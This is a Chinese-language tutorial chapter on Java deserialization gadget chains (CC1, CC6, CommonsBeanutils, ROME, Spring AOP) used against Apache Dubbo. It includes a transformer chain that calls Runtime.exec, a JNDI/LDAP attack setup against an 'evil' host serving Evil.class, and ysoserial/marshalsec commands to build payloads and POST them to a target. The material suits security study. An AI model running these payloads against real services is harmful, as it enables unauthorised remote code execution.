Dubbo漏洞 - 02 经典Gadget-Chain详解

经典 Gadget Chain 详解 — CC/CB/ROME/Spring AOP

本篇定位

详细分析 Dubbo 漏洞利用中最常见的 Gadget Chain

每条链包含:前置依赖 → 完整调用链 → 原理图解 → 代码示例

CommonsCollections1 (CC1)

前置条件

依赖:commons-collections:3.1(3.2.2 之前)

JDK:< 8u72(AnnotationInvocationHandler 在高版本中被修复)

完整调用链

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler.readObject()
→ memberValues.entrySet() // memberValues 是个 Map 代理
Proxy(LazyMap).entrySet() // 触发 InvocationHandler
→ LazyMap.get() // 触发 Transformer
→ ChainedTransformer.transform()
→ ConstantTransformer.transform() // 返回 Runtime.class
→ InvokerTransformer.transform() // 反射调用 getMethod("getRuntime")
→ InvokerTransformer.transform() // 反射调用 invoke() 获取 Runtime 实例
→ InvokerTransformer.transform() // 反射调用 exec("命令")

核心组件解析

InvokerTransformer:通过反射调用任意方法的 Transformer

1
2
3
4
5
6
// 简化逻辑
public Object transform(Object input) {
Method method = input.getClass().getMethod(methodName, paramTypes);
return method.invoke(input, args);
// 攻击者控制 methodName, paramTypes, args → 调用任意方法
}

ChainedTransformer:将多个 Transformer 串联,上一个的输出是下一个的输入

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] chain = new Transformer[] {
new ConstantTransformer(Runtime.class), // 返回 Runtime.class
new InvokerTransformer("getMethod", // Runtime.class.getMethod("getRuntime")
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", // method.invoke(null) → 获取 Runtime 实例
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", // runtime.exec("命令")
new Class[]{String.class},
new Object[]{"calc.exe"})
};

LazyMap:当 get() 找不到 key 时,调用 Transformer 生成 value

1
2
3
4
5
6
7
8
public Object get(Object key) {
if (!map.containsKey(key)) {
Object value = factory.transform(key); // ← 触发 ChainedTransformer!
map.put(key, value);
return value;
}
return map.get(key);
}

限制

依赖 AnnotationInvocationHandler,在 JDK 8u72 后修改了 readObject() 逻辑

CC6 解决了这个限制

CommonsCollections6 (CC6)

前置条件

依赖:commons-collections:3.1

JDK:不受限制(不依赖 AnnotationInvocationHandler)

完整调用链

1
2
3
4
5
6
7
8
HashSet.readObject()
→ HashMap.put()
→ HashMap.hash(key)
→ TiedMapEntry.hashCode()
→ TiedMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ InvokerTransformer → Runtime.exec()

为什么不受 JDK 版本限制

入口从 AnnotationInvocationHandler 换成了 HashSet + HashMap

HashMap.readObject()hash(key)key.hashCode() 这条路在所有 JDK 版本都存在

TiedMapEntry.hashCode() 会调用 getValue()LazyMap.get() → 触发 Transformer

TiedMapEntry 关键代码

1
2
3
4
5
6
7
8
9
10
// org.apache.commons.collections.keyvalue.TiedMapEntry
public int hashCode() {
Object value = getValue(); // ← 触发 LazyMap.get()
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

public Object getValue() {
return map.get(key); // map = LazyMap,key 不存在则触发 transform
}

CC6 的重要性

Dubbo CVE-2019-17564 的主要利用链之一

因为 Dubbo 服务常用 JDK 8 高版本,CC1 不可用,CC6 无此限制

CommonsBeanutils (CB 链)

前置条件

依赖:commons-beanutils:1.9.2(很多框架自带)

JDK:不限

完整调用链

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
→ PriorityQueue.heapify()
→ PriorityQueue.siftDown()
→ BeanComparator.compare(o1, o2)
→ PropertyUtils.getProperty(o1, "outputProperties")
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
defineClass() + newInstance()
→ 恶意字节码执行!

关键组件

PriorityQueue:优先队列,readObject() 时需要重建堆 → 调用 comparator.compare()

BeanComparator:按 Bean 属性比较两个对象 → 调用 PropertyUtils.getProperty()

TemplatesImpl:XSLT 模板类,内部有 _bytecodes 字段,调用 getOutputProperties() 时会加载并执行字节码

TemplatesImpl 详解

1
2
3
4
5
6
7
8
9
10
11
// 攻击者构造的 TemplatesImpl 对象:
TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes = 恶意类的字节码
// 设置 _name = 非空
// 设置 _tfactory = TransformerFactoryImpl 实例

// 当 getOutputProperties() 被调用时:
// → newTransformer()
// → getTransletInstance()
// → defineTransletClasses() // 用 ClassLoader 加载 _bytecodes
// → _class.newInstance() // 实例化 → static{} 块执行

恶意字节码的 static {} 块中放入 Runtime.getRuntime().exec("命令")

这是一种不通过反射、不通过 JNDI 的代码执行方式

CB 链的重要性

commons-beanutils 在 Spring/Dubbo 项目中极为常见

不依赖 commons-collections

CVE-2019-17564 和 CVE-2021-30179 都可以用 CB 链

ROME 链

前置条件

依赖:rome:1.0(RSS 解析库)

JDK:不限

完整调用链

1
2
3
4
5
6
7
8
9
HashMap.readObject()
→ HashMap.hash(key)
→ ObjectBean.hashCode()
→ EqualsBean.beanHashCode()
→ ToStringBean.toString()
→ BeanIntrospector.getPropertyDescriptors()
→ TemplatesImpl.getOutputProperties() ← getter 调用!
→ TemplatesImpl.newTransformer()
→ 恶意字节码执行

核心组件

ObjectBean:ROME 库的通用 Bean 包装器

1
2
3
public int hashCode() {
return _equalsBean.beanHashCode(); // 委托给 EqualsBean
}

EqualsBean:计算 Bean 的 hashCode

1
2
3
public int beanHashCode() {
return _obj.toString().hashCode(); // 调用对象的 toString()!
}

ToStringBean:遍历 Bean 的所有 getter 方法并调用

1
2
3
4
5
public String toString() {
// 遍历所有 PropertyDescriptor
// 对每个属性调用其 getter 方法
// 当遇到 TemplatesImpl.getOutputProperties() 时 → 触发字节码加载
}

为什么 ROME 链对 Dubbo 至关重要?

入口是 hashCode(),不是 readObject()

Hessian2 反序列化 HashMap 时也会调用 hashCode()

所以 ROME 链同时适用于 Java 原生反序列化和 Hessian2 反序列化

是 Dubbo Hessian2 漏洞(CVE-2020-1948、CVE-2020-11995)的主要利用链

Spring AOP 链(重点)

为什么分析 Spring AOP 链?

Dubbo 项目几乎都依赖 Spring 框架

classpath 中一定有 spring-aopspring-context

即使没有 rome 依赖,Spring AOP 链也可以利用

链一:SpringPartiallyComparableAdvisorHolder

前置条件

依赖:spring-aop + spring-context

需要 JNDI 可达(目标能访问攻击者的 LDAP 服务)

完整调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
HashMap.readObject()
→ HashMap.hash(key)
→ key.hashCode() // key = HotSwappableTargetSource
→ HotSwappableTargetSource.hashCode()
→ XString.equals(PartiallyComparableAdvisorHolder)
→ PartiallyComparableAdvisorHolder.toString()
→ AspectJPointcutAdvisor.getOrder()
→ AspectJAroundAdvice.getOrder()
→ AbstractAspectJAdvice.getOrder()
→ BeanFactory.getBean("beanName")
→ JndiObjectTargetSource.getTarget()
→ InitialContext.lookup("ldap://attacker/...")
→ 远程加载恶意类 → RCE

关键点

入口是 hashCode() → 可以被 Hessian2 触发

最终 Sink 是 JNDI lookup → 需要攻击者运行 LDAP/RMI 服务

攻击者控制 beanName 为 JNDI URL

链二:SpringAbstractBeanFactoryPointcutAdvisor

完整调用链

1
2
3
4
5
6
HashMap.readObject() / Hessian2 MapDeserializer
→ HashMap.hash(key)
→ AbstractPointcutAdvisor.hashCode()
→ AbstractBeanFactoryPointcutAdvisor.getAdvice()
→ BeanFactory.getBean(adviceBeanName) // adviceBeanName 由攻击者控制
→ JNDI lookup / 任意 bean 实例化

关键点

adviceBeanName 字段可以被攻击者在序列化数据中设置

BeanFactory.getBean() 被调用时,如果 BeanFactory 是 JNDI 相关实现,直接触发远程类加载

JNDI 注入配合(Spring AOP 链的 Sink)

1
2
3
4
5
6
7
8
9
10
11
12
13
攻击者搭建恶意 LDAP 服务:

┌─────────────┐ JNDI lookup ┌──────────────────┐
│ Dubbo Server │ ──────────────────→ │ 攻击者 LDAP Server
│ (受害者) │ │ ldap://evil:1389 │
└─────────────┘ 返回 Reference └──────────────────┘
│ │
│ HTTP 下载 Evil.class
│ ←────────────────────────────────────── │


加载并实例化 Evil.class
static {} 块执行恶意命令

攻击者需要运行的工具:

marshalsec 的 LDAP 服务:java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://evil:8888/#Evil" 1389

HTTP 服务托管 Evil.class:python3 -m http.server 8888

Gadget Chain 总览对比

链名 入口方法 Sink 依赖 Java原生 Hessian2
CC1 readObject 反射调用 Runtime.exec commons-collections:3.1
CC6 readObject→hashCode 反射调用 Runtime.exec commons-collections:3.1
CB readObject(PriorityQueue) TemplatesImpl 字节码 commons-beanutils
ROME hashCode→toString TemplatesImpl 字节码 rome
Spring AOP hashCode→toString/getBean JNDI 注入 spring-aop
XBean setter JNDI lookup xbean-naming

核心区别:CC 系列入口是 readObject(),只能用于 Java 原生反序列化;ROME 和 Spring AOP 入口是 hashCode(),可以用于 Hessian2

动手练习

用 ysoserial 生成 CC6 payload,对一个启用了 HTTP 协议的 Dubbo 服务测试

1
2
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/cc6" > cc6.bin
curl -X POST --data-binary @cc6.bin http://target:8080/service

用 marshalsec 生成 ROME 链的 Hessian2 payload

1
java -cp marshalsec.jar marshalsec.Hessian2 Rome "touch /tmp/rome" > rome_hessian.bin

分析 TemplatesImpl 的源码,理解 _bytecodes 是如何被加载执行的


上一章 目录 下一章
01-Gadget-Chain原理 Dubbo漏洞 03-Hessian2-Gadget-Chain